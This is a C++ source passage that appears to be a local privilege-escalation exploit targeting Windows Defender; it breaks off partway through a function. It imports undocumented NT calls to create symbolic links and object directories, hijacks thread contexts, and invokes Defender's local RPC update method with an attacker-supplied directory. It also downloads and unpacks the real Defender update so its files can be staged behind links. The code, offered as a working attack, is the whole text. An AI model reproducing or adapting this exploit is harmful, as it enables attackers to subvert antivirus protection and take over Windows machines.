| 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313 |
- #define _CRT_SECURE_NO_WARNINGS
- #include <iostream>
- #include <Windows.h>
- #include <Lmcons.h>
- #include <wininet.h>
- #include <string.h>
- #include <fdi.h>
- #include <fcntl.h>
- #include <winternl.h>
- #include <conio.h>
- #include <Shlwapi.h>
- #include <ktmw32.h>
- #include <wuapi.h>
- #include <ntstatus.h>
- #include <cfapi.h>
- #include <aclapi.h>
- #include "windefend_h.h"
- /*
- #include <openssl/ssl.h>
- #include <openssl/err.h>
- #include <openssl/aes.h>
- #include <openssl/evp.h>
- #include <openssl/sha.h>
- #include <openssl/provider.h>
- #include <openssl/hmac.h>
- */
- #include "offreg.h"
- #define _NTDEF_
- #include <ntsecapi.h>
- #include <sddl.h>
- #pragma comment(lib, "wininet.lib")
- #pragma comment(lib, "ktmw32.lib")
- #pragma comment(lib, "Shlwapi.lib")
- #pragma comment(lib, "Rpcrt4.lib")
- #pragma comment(lib, "ntdll.lib")
- #pragma comment(lib, "Cabinet.lib")
- #pragma comment(lib, "Wuguid.lib")
- #pragma comment(lib,"CldApi.lib")
- /// NT routines and definitions
- HMODULE hm = GetModuleHandle(L"ntdll.dll");
- NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
- OUT PHANDLE pHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)(
- OUT PHANDLE pHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
- NTSTATUS(WINAPI* _NtOpenDirectoryObject)(
- PHANDLE DirectoryHandle,
- ACCESS_MASK DesiredAccess,
- POBJECT_ATTRIBUTES ObjectAttributes
- ) = (NTSTATUS(WINAPI*)(
- PHANDLE DirectoryHandle,
- ACCESS_MASK DesiredAccess,
- POBJECT_ATTRIBUTES ObjectAttributes
- ))GetProcAddress(hm, "NtOpenDirectoryObject");;
- NTSTATUS(WINAPI* _NtQueryDirectoryObject)(
- HANDLE DirectoryHandle,
- PVOID Buffer,
- ULONG Length,
- BOOLEAN ReturnSingleEntry,
- BOOLEAN RestartScan,
- PULONG Context,
- PULONG ReturnLength
- ) = (NTSTATUS(WINAPI*)(
- HANDLE DirectoryHandle,
- PVOID Buffer,
- ULONG Length,
- BOOLEAN ReturnSingleEntry,
- BOOLEAN RestartScan,
- PULONG Context,
- PULONG ReturnLength
- ))GetProcAddress(hm, "NtQueryDirectoryObject");
- NTSTATUS(WINAPI* _NtSetInformationFile)(
- HANDLE FileHandle,
- PIO_STATUS_BLOCK IoStatusBlock,
- PVOID FileInformation,
- ULONG Length,
- FILE_INFORMATION_CLASS FileInformationClass
- ) = (NTSTATUS(WINAPI*)(
- HANDLE FileHandle,
- PIO_STATUS_BLOCK IoStatusBlock,
- PVOID FileInformation,
- ULONG Length,
- FILE_INFORMATION_CLASS FileInformationClass
- ))GetProcAddress(hm, "NtSetInformationFile");
- NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)(
- OUT PHANDLE DirectoryHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN HANDLE ShadowDirectoryHandle,
- IN ULONG Flags) =
- (NTSTATUS(WINAPI*)(
- OUT PHANDLE DirectoryHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes,
- IN HANDLE ShadowDirectoryHandle,
- IN ULONG Flags))GetProcAddress(hm,"NtCreateDirectoryObjectEx");
- #define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))
- typedef struct _FILE_DISPOSITION_INFORMATION_EX {
- ULONG Flags;
- } FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;
- typedef struct _OBJECT_DIRECTORY_INFORMATION {
- UNICODE_STRING Name;
- UNICODE_STRING TypeName;
- } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
- typedef struct _REPARSE_DATA_BUFFER {
- ULONG ReparseTag;
- USHORT ReparseDataLength;
- USHORT Reserved;
- union {
- struct {
- USHORT SubstituteNameOffset;
- USHORT SubstituteNameLength;
- USHORT PrintNameOffset;
- USHORT PrintNameLength;
- ULONG Flags;
- WCHAR PathBuffer[1];
- } SymbolicLinkReparseBuffer;
- struct {
- USHORT SubstituteNameOffset;
- USHORT SubstituteNameLength;
- USHORT PrintNameOffset;
- USHORT PrintNameLength;
- WCHAR PathBuffer[1];
- } MountPointReparseBuffer;
- struct {
- UCHAR DataBuffer[1];
- } GenericReparseBuffer;
- } DUMMYUNIONNAME;
- } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
- #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
- //////////////// NT DEF END
- // definitions of structures used by threads that invoke WD RPC calls
- struct WDRPCWorkerThreadArgs
- {
- HANDLE hntfythread;
- HANDLE hevent;
- RPC_STATUS res;
- wchar_t* dirpath;
- };
- typedef struct tagMPCOMPONENT_VERSION {
- ULONGLONG Version;
- ULARGE_INTEGER UpdateTime;
- } MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION;
- typedef struct tagMPVERSION_INFO {
- MPCOMPONENT_VERSION Product;
- MPCOMPONENT_VERSION Service;
- MPCOMPONENT_VERSION FileSystemFilter;
- MPCOMPONENT_VERSION Engine;
- MPCOMPONENT_VERSION ASSignature;
- MPCOMPONENT_VERSION AVSignature;
- MPCOMPONENT_VERSION NISEngine;
- MPCOMPONENT_VERSION NISSignature;
- MPCOMPONENT_VERSION Reserved[4];
- } MPVERSION_INFO, * PMPVERSION_INFO;
- typedef union Version {
- struct {
- WORD major;
- WORD minor;
- WORD build;
- WORD revision;
- };
- ULONGLONG QuadPart;
- };
- //////////////////
- // structures and global vars used by definition update functions
- void* cabbuff2 = NULL;
- DWORD cabbuffsz = 0;
- struct CabOpArguments {
- ULONG index;
- char* filename;
- size_t ptroffset;
- char* buff;
- DWORD FileSize;
- CabOpArguments* first;
- CabOpArguments* next;
- };
- struct UpdateFiles {
- char filename[MAX_PATH];
- void* filebuff;
- DWORD filesz;
- bool filecreated;
- HANDLE hsymlink;
- UpdateFiles* next;
- };
- ///////////////////////////////////////
- // structures and global vars used by volume shadow copy functions
- struct cldcallbackctx {
- HANDLE hnotifywdaccess;
- HANDLE hnotifylockcreated;
- wchar_t filename[MAX_PATH];
- };
- struct LLShadowVolumeNames
- {
- wchar_t* name;
- LLShadowVolumeNames* next;
- };
- struct cloudworkerthreadargs {
- HANDLE hlock;
- HANDLE hcleanupevent;
- HANDLE hvssready;
- };
- ///////////////////////////////////////
- //////////////////////////////////////////////////////////////////////
- // Functions required by RPC
- /////////////////////////////////////////////////////////////////////
- void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
- {
- return((void __RPC_FAR*) malloc(cBytes));
- }
- void __RPC_USER midl_user_free(void __RPC_FAR* p)
- {
- free(p);
- }
- //////////////////////////////////////////////////////////////////////
- // Functions required by RPC end
- /////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////
- // WD RPC functions
- /////////////////////////////////////////////////////////////////////
- void ThrowFunc()
- {
- throw 0;
- }
- void RaiseExceptionInThread(HANDLE hthread)
- {
- CONTEXT ctx = { 0 };
- ctx.ContextFlags = CONTEXT_FULL;
- SuspendThread(hthread);
- if (GetThreadContext(hthread, &ctx))
- {
- ctx.Rip = (DWORD64)ThrowFunc;
- SetThreadContext(hthread, &ctx);
- ResumeThread(hthread);
- }
- }
- void CallWD(WDRPCWorkerThreadArgs* args)
- {
- RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839";
- RPC_WSTR StringBinding;
- if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK)
- {
- printf("Unexpected error while building an RPC binding from string !!!");
- RaiseExceptionInThread(args->hntfythread);
- return;
- }
- RPC_BINDING_HANDLE bindhandle = 0;
- if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK)
- {
- printf("Failed to connect to windows defender RPC port !!!");
- RaiseExceptionInThread(args->hntfythread);
- return;
- }
- error_status_t errstat = 0;
- printf("Calling ServerMpUpdateEngineSignature...\n");
- //_getch();
- RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat);
- args->res = stat;
- if (args->hevent)
- SetEvent(args->hevent);
- }
- DWORD WINAPI WDCallerThread(void* args)
- {
- if (!args)
- return ERROR_BAD_ARGUMENTS;
- CallWD((WDRPCWorkerThreadArgs*)args);
- return ERROR_SUCCESS;
- }
- //////////////////////////////////////////////////////////////////////
- // WD RPC functions end
- /////////////////////////////////////////////////////////////////////
- //////////////////////////////////////////////////////////////////////
- // WD definition update functions
- /////////////////////////////////////////////////////////////////////
- CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode)
- {
- CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments));
- ZeroMemory(cbps, sizeof(CabOpArguments));
- cbps->buff = (char*)cabbuff2;
- cbps->FileSize = cabbuffsz;
- return cbps;
- }
- INT CUST_FNSEEK(HANDLE hf,
- long offset,
- int origin)
- {
- if (hf)
- {
- CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
- if (origin == SEEK_SET)
- CabOpArgs->ptroffset = offset;
- if (origin == SEEK_CUR)
- CabOpArgs->ptroffset += offset;
- if (origin == SEEK_END)
- CabOpArgs->ptroffset += CabOpArgs->FileSize;
- return CabOpArgs->ptroffset;
- }
- return -1;
- }
- UINT CUST_FNREAD(CabOpArguments* hf,
- void* const buffer,
- unsigned const buffer_size)
- {
- if (hf)
- {
- CabOpArguments* CabOpArgs = (CabOpArguments*)hf;
- if (CabOpArgs->buff)
- {
- memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size);
- CabOpArgs->ptroffset += buffer_size;
- //CabOpArgs->ReadBytes += buffer_size;
- return buffer_size;
- }
- }
- return NULL;
- }
- UINT CUST_FNWRITE(CabOpArguments* hf,
- const void* buffer,
- unsigned int count)
- {
- if (hf)
- {
- if (hf->buff) {
- memmove(&hf->buff[hf->ptroffset], buffer, count);
- hf->ptroffset += count;
- return count;
- }
- }
- return NULL;
- }
- INT CUST_FNCLOSE(CabOpArguments* fnFileClose)
- {
- free(fnFileClose);
- return 0;
- }
- VOID* CUST_FNALLOC(size_t cb)
- {
- return malloc(cb);
- }
- VOID CUST_FNFREE(void* buff)
- {
- free(buff);
- }
- INT_PTR CUST_FNFDINOTIFY(
- FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin
- ) {
- //printf("_FNFDINOTIFY : %d\n", fdinotify);
- wchar_t newfile[MAX_PATH] = { 0 };
- wchar_t filename[MAX_PATH] = { 0 };
- HANDLE hfile = NULL;
- ULONG rethandle = 0;
- CabOpArguments** ptr = NULL;
- CabOpArguments* lcab = NULL;
- switch (fdinotify)
- {
- case fdintCOPY_FILE:
- if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0)
- return NULL;
- ptr = (CabOpArguments**)pfdin->pv;
- lcab = *ptr;
- if (lcab == NULL) {
- lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments));
- ZeroMemory(lcab, sizeof(CabOpArguments));
- lcab->first = lcab;
- lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
- ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
- memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
- lcab->FileSize = pfdin->cb;
- lcab->buff = (char*)malloc(lcab->FileSize);
- ZeroMemory(lcab->buff, lcab->FileSize);
- }
- else
- {
- lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments));
- ZeroMemory(lcab->next, sizeof(CabOpArguments));
- lcab->next->first = lcab->first;
- lcab = lcab->next;
- lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char));
- ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char));
- memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1));
- lcab->FileSize = pfdin->cb;
- lcab->buff = (char*)malloc(lcab->FileSize);
- ZeroMemory(lcab->buff, lcab->FileSize);
- }
- lcab->first->index++;
- *ptr = lcab;
- return (INT_PTR)lcab;
- break;
- case fdintCLOSE_FILE_INFO:
- return TRUE;
- break;
- default:
- return 0;
- }
- return 0;
- }
- void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz)
- {
- if (cbRawData < sizeof(IMAGE_DOS_HEADER))
- {
- return 0;
- }
- if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE)
- {
- return 0;
- }
- ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS);
- if (e_lfanew >= s || s > cbRawData)
- {
- return 0;
- }
- PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew);
- if (pinth->Signature != IMAGE_NT_SIGNATURE)
- {
- return 0;
- }
- ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders;
- s = e_lfanew + SizeOfHeaders;
- if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData)
- {
- return 0;
- }
- s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader;
- if (s > SizeOfHeaders)
- {
- return 0;
- }
- ULONG NumberOfSections = pinth->FileHeader.NumberOfSections;
- PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s);
- ULONG Size;
- if (NumberOfSections)
- {
- if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders)
- {
- return 0;
- }
- do
- {
- if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData))
- {
- union {
- ULONG VirtualAddress, PointerToRawData;
- };
- VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size;
- if (VirtualAddress > s || s > SizeOfImage)
- {
- return 0;
- }
- PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size;
- if (PointerToRawData > s || s > cbRawData)
- {
- return 0;
- }
- char rsrc[] = ".rsrc";
- if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0)
- {
- typedef struct _IMAGE_RESOURCE_DIRECTORY2 {
- DWORD Characteristics;
- DWORD TimeDateStamp;
- WORD MajorVersion;
- WORD MinorVersion;
- WORD NumberOfNamedEntries;
- WORD NumberOfIdEntries;
- IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
- } IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2;
- PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData);
- PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird;
- PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 };
- PIMAGE_RESOURCE_DATA_ENTRY pdata = 0;
- while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries)
- {
- pirde = &pird->DirectoryEntries[0];
- if (!pirde->DataIsDirectory)
- {
- pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData);
- pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData;
- void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData);
- if (cabsz)
- *cabsz = pdata->Size;
- return cabfile;
- }
- pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory);
- }
- break;
- }
- }
- } while (pish++, --NumberOfSections);
- }
- return NULL;
- }
- UpdateFiles* GetUpdateFiles(int* filecount = NULL)
- {
- HINTERNET hint = NULL;
- HINTERNET hint2 = NULL;
- char data[0x1000] = { 0 };
- DWORD index = 0;
- DWORD sz = sizeof(data);
- bool res2 = 0;
- wchar_t filesz[50] = { 0 };
- LARGE_INTEGER li = { 0 };
- GUID uid = { 0 };
- RPC_WSTR wuid = { 0 };
- wchar_t* wuid2 = 0;
- wchar_t envstr[MAX_PATH] = { 0 };
- wchar_t mpampath[MAX_PATH] = { 0 };
- HANDLE hmpap = NULL;
- void* exebuff = NULL;
- DWORD readsz = 0;
- HANDLE hmapping = NULL;
- void* mappedbuff = NULL;
- HRSRC hres = NULL;
- DWORD ressz = NULL;
- HGLOBAL cabbuff = NULL;
- char fname[] = "update.cab";
- ERF erfstruct = { 0 };
- HFDI hcabctx = NULL;
- bool extractres = false;
- DWORD totalsz = 0;
- HANDLE hmpeng = NULL;
- CabOpArguments* CabOpArgs = NULL;
- CabOpArguments* mpenginedata = NULL;
- void* dllview = NULL;
- char** filesmtrx = 0;
- UpdateFiles* firstupdt = NULL;
- UpdateFiles* current = NULL;
- DWORD nbytes = 0;
- printf("Downloading updates...\n");
- hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
- if (!hint)
- {
- printf("Failed to open internet, error : %d", GetLastError());
- goto cleanup;
- }
- hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL);
- //InternetCloseHandle(hint);
- if (!hint2)
- {
- printf("Failed to open internet URL, error : %d", GetLastError());
- goto cleanup;
- }
- res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index);
- if (!res2)
- {
- printf("Failed to query update size, error : %d", GetLastError());
- goto cleanup;
- }
- wcscpy(filesz, (LPWSTR)data);
- sz = _wtoi(filesz);
- li.QuadPart = sz;
- exebuff = malloc(sz);
- if (!exebuff)
- {
- printf("Failed to allocate memory to download file !!!");
- goto cleanup;
- }
- ZeroMemory(exebuff, sz);
- if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz)
- {
- printf("Failed to download update from internet, error : %d", GetLastError());
- goto cleanup;
- }
- InternetCloseHandle(hint);
- hint = NULL;
- InternetCloseHandle(hint2);
- hint = NULL;
- printf("Done.\n");
- mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz);
- if (!mappedbuff)
- {
- printf("Failed to retrieve cabinet file from downloaded file.\n");
- goto cleanup;
- }
- printf("Cabinet file mapped at 0x%p\n", mappedbuff);
- cabbuff2 = mappedbuff;
- cabbuffsz = ressz;
- printf("Extracting cab file content...\n");
- hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct);
- if (!hcabctx)
- {
- printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper);
- goto cleanup;
- }
- extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs);
- if (!extractres)
- {
- printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper);
- goto cleanup;
- }
- FDIDestroy(hcabctx);
- hcabctx = NULL;
- if (!CabOpArgs)
- {
- printf("Unexpected empty buffer after extracting cab file.\n");
- return NULL;
- }
- CabOpArgs = CabOpArgs->first;
- firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles));
- ZeroMemory(firstupdt, sizeof(UpdateFiles));
- current = firstupdt;
- while (CabOpArgs)
- {
- if (filecount)
- *filecount += 1;
- strcpy(current->filename, CabOpArgs->filename);
- DWORD buffsz = CabOpArgs->FileSize;
- current->filebuff = malloc(buffsz);
- memmove(current->filebuff, CabOpArgs->buff, buffsz);
- current->filesz = buffsz;
- CabOpArgs = CabOpArgs->next;
- if (CabOpArgs)
- {
- current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles));
- ZeroMemory(current->next, sizeof(UpdateFiles));
- current = current->next;
- }
- }
- printf("Cab file content extracted.\n");
- cleanup:
- if (CabOpArgs)
- {
- CabOpArguments* current = CabOpArgs->first;
- while (current)
- {
- free(current->buff);
- free(current->filename);
- CabOpArgs = current;
- current = current->next;
- free(CabOpArgs);
- }
- }
- if (hint)
- InternetCloseHandle(hint);
-
- if (hint2)
- InternetCloseHandle(hint2);
- if (exebuff)
- free(exebuff);
- return firstupdt;
- }
- bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr)
- {
- IUpdateSearcher* updsrch = 0;
- bool updatesfound = false;
- IUpdateSession* updsess = 0;
- CLSID clsid;
- HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid);
- ISearchResult* srchres = 0;
- IUpdateCollection* updcollection = 0;
- LONG updnum = 0;
- BSTR title = 0;
- BSTR desc = 0;
- ICategoryCollection* catcoll = 0;
